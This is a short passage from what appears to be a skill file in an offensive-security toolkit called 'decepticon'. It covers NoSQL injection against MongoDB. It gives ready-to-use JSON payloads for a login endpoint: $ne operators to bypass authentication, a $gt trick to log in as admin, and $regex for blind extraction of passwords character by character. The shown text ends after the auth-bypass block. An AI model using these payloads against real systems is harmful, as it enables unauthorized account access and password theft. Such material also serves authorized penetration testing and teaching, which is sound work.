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nosqli

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NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md

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Nov 9, 2026
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Apache-2.0

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# NoSQL Injection

NoSQL stores parse JSON / native objects. When user input becomes part
of a query object (not just a value), control flows into the query.

## 1. MongoDB — most common target

### Auth bypass
```json
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction
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